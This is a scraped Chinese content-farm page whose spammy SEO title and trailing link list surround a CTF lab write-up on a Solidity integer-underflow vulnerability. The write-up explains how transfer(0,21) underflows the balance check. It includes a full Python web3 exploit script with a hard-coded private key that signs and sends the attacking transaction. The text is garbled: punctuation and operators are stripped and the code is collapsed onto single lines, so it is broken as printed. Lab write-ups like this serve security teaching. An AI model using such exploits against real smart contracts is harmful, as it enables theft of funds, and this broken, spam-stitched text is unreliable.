当前位置: 首页 > news >正文

营销型网站建设 代理深圳做网站乐云seo费用优惠

营销型网站建设 代理,深圳做网站乐云seo费用优惠,拱墅区建设局网站,网页版传奇世界攻略区块链安全 文章目录 区块链安全整数溢出漏洞实战实验目的实验环境实验工具实验原理攻击过程分析合约源代码漏洞EXP利用 整数溢出漏洞实战 实验目的 学会使用python3的web3模块 学会以太坊整数溢出漏洞分析及利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理…区块链安全 文章目录 区块链安全整数溢出漏洞实战实验目的实验环境实验工具实验原理攻击过程分析合约源代码漏洞EXP利用 整数溢出漏洞实战 实验目的 学会使用python3的web3模块 学会以太坊整数溢出漏洞分析及利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理 低版本Solidity整数是uint无符号类型若操作存在不安全行为可能会产生溢出通过分析代码找到漏洞点实现整数溢出利用。 题目环境是测试链所以需要本地与题目进行交互可使用python3中的web3模块通过web3模块的rpc功能与题目交互从而编写自动化利用脚本。 实验内容 使用python3编写脚本测试漏洞 找到整数溢出漏洞并形成利用获取flag 实验地址为nc ip 10001 攻击过程 nc 靶标ip 端口 打开http://ip输入上述分配的game account点击Request获取eth nc ip 10001连接到题目输入2获取部署合约的地址及new token nc ip 10001连接到题目输入4获取合约源代码或者在题目附件找到合约源代码 分析合约源代码漏洞 题目要求把flag设置为true分析合约代码在transfer中可以将flag设置为true但需要满足totalSupply - _value 0其中totalSupply20其实考点为Solidity智能合约整数溢出totalSupply与value都是uint无符号整数所以只需要value为21即可产生整数下溢造成溢出 需要调用transfer(0,21)即可将flag设置为true EXP利用 利用python3的web3模块与远程题目交互并编写利用代码将ip替换成题目的ipcontract_address替换成自己的地址 from web3 import Web3, HTTPProvider import timew3 Web3(Web3.HTTPProvider(http://192.168.2.102:8545))contract_address 0x68A04806e380BAa6D6f2E96027Cc0ed11c17FEf1 private 92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb public 0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480fdef generate_tx(chainID, to, data, value):txn {chainId: chainID,from: Web3.toChecksumAddress(public),to: to,gasPrice: w3.eth.gasPrice,gas: 3000000,nonce: w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),value: Web3.toWei(value, ether),data: data,}return txndef sign_and_send(txn):signed_txn w3.eth.account.signTransaction(txn, private)txn_hash w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt w3.eth.waitForTransactionReceipt(txn_hash)print(txn_hash, txn_hash)return txn_receipt# transfer(0,21) data Web3.keccak(texttransfer(address,uint256)).hex()[:10] data 0*64 data 21.rjust(64,0)txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0) Hack sign_and_send(txn) print(Hack)运行exp nc ip 10001连接到题目输入3输入之前的new token获取flag
http://www.pierceye.com/news/31552/

相关文章:

  • 安阳网站制作价格电商网站设计方案
  • 有关小城镇建设的网站网络系统管理与维护机考
  • 丰县网站建设好看的学校网站模板
  • 客厅装修风格优化服务质量
  • 网站建设里的知识连云港做网站建设
  • 贺州网站制作郑州郑州网站建设河南做网站公司哪家好
  • 东城免费做网站家居装修
  • 浙江短视频seo优化网站比较好的网站建设公司
  • 中国站长之家网站模板网站是什么
  • 网站建设的途径云南做网站报价
  • 网站开发文件上传到服务器如何建立网站空间
  • 襄阳做网站价格如何创建自己的网页
  • 六安网站制作金狮中小企业做网站推广
  • 泸州百拓网站建设做旅游网站的任务
  • 网站开发设计思路wordpress添加搜索框
  • 怎么建设网站百度搜索的到黄骅港什么时候开海
  • 企业免费做网站h5游戏网站开发
  • 中山网站建设如何wordpress注册后绑定qq邮箱
  • 设计一个商务网站源代码网站培训
  • 网站开发支付宝支付做网站需要公章吗
  • 建设银行签名通在网站哪里下载广州企业推广网站建设
  • 网站访问量大打不开wordpress主题克隆
  • 低代码网站开发平台商务网站要怎么设计
  • 网站的风格分析不得不知道网站
  • 长沙seo网站排名优化上海装修公司做网站
  • 网站建设企业服务汕头有几个区
  • 做网站的目的是什么克隆网站到wordpress修改
  • 营销型网站建设大千建站怎么做lol网站
  • 网站设计与建设的参考文献家装软装设计 上海
  • wordpress搭建的知名网站皮具制品 东莞网站建设